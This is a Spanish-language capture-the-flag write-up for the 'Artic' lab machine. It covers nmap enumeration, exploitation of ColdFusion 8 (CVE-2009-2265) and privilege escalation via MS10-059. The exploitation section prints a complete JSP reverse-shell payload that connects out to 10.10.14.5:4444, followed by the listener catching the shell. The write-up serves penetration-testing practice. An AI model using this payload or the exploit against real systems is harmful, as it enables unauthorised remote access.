🏳️Artic

IP de la máquina:
10.10.10.11
Sistema simulado:
Windows Server 2008 R2
Servicio vulnerado:
Colfusion8
1. Enumeración y descubrimiento
Comenzamos el ejercicio realizando un reconocimiento con NMAP a todos los puertos de la máquina Artic.
nmap -sC -sV -sT 10.10.10.11 -p-

Encontramos el puerto 8500 abierto el cual no conseguimos localizar que servicio está funcionando en él. Lanzamos una petición al servicio y nos encontramos lo siguiente.

Cuando entramos a la web en el puerto 8500 encontramos:

Siguiendo la ruta 10.10.10.11:8500/CFIDE/administrator podemos observar Coldfusion version 8, la cual vamos a intentar atacar.

2. Explotación
En este paso vamos a buscar un exploit para aprovecharnos del CVE 2009-2265 y usaremos el exploit que nos proporciona exploit-db realizado por PERGYZ para ayudarnos de ello. Este requiere alguna configuración en el código. Para ello lo abrimos y modificamos la información.

Una vez hecho esto ejecutamos el código python y obtenemos acceso a la máquina apareciendonos algo similar a esto.
┌──(root㉿kali)-[/home/kali/Desktop]
└─# python 50057.py
Generating a payload...
Payload size: 1496 bytes
Saved as: acd1c28c77684b0289eac27dd92e36b6.jsp
Priting request...
Content-type: multipart/form-data; boundary=d5515b17acb1451aadb54a6e1cc4eee6
Content-length: 1697
--d5515b17acb1451aadb54a6e1cc4eee6
Content-Disposition: form-data; name="newfile"; filename="acd1c28c77684b0289eac27dd92e36b6.txt"
Content-Type: text/plain
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
class StreamConnector extends Thread
{
InputStream vd;
OutputStream jC;
StreamConnector( InputStream vd, OutputStream jC )
{
this.vd = vd;
this.jC = jC;
}
public void run()
{
BufferedReader hq = null;
BufferedWriter u5p = null;
try
{
hq = new BufferedReader( new InputStreamReader( this.vd ) );
u5p = new BufferedWriter( new OutputStreamWriter( this.jC ) );
char buffer[] = new char[8192];
int length;
while( ( length = hq.read( buffer, 0, buffer.length ) ) > 0 )
{
u5p.write( buffer, 0, length );
u5p.flush();
}
} catch( Exception e ){}
try
{
if( hq != null )
hq.close();
if( u5p != null )
u5p.close();
} catch( Exception e ){}
}
}
try
{
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
Socket socket = new Socket( "10.10.14.5", 4444 );
Process process = Runtime.getRuntime().exec( ShellPath );
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
} catch( Exception e ) {}
%>
--d5515b17acb1451aadb54a6e1cc4eee6--
Sending request and printing response...
<script type="text/javascript">
window.parent.OnUploadCompleted( 0, "/userfiles/file/acd1c28c77684b0289eac27dd92e36b6.jsp/acd1c28c77684b0289eac27dd92e36b6.txt", "acd1c28c77684b0289eac27dd92e36b6.txt", "0" );
</script>
Printing some information for debugging...
lhost: 10.10.14.5
lport: 4444
rhost: 10.10.10.11
rport: 8500
payload: acd1c28c77684b0289eac27dd92e36b6.jsp
Deleting the payload...
Listening for connection...
Executing the payload...
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.11] 49282

En este punto podremos obtener acceso a la flag del usuario tolis y tendremos que empezar a planificar la escalada de privilegios.
3. Escalada de privilegios Root
Llegado a este punto ejecutamos systeminfo para ver en profundidad que sistema estamos trabajando.

Estudiando el sistema con el que estamos funcionando vemos la posibilidad de explotar la vulnerabilidad con varios exploits. Nosotros utilizaremos el exploit el cual nos permite explotar el MS 10-059 y generar una escalada de privilegios. Por ello vamos a montar un servidor de Python y descargarnos el compilado en el equipo infectado.

Recogemos la shell del exploit desde nuestro netcat escalando a privilegios de administrador y consguiendo acceso a la flag de root.

Última actualización
¿Te fue útil?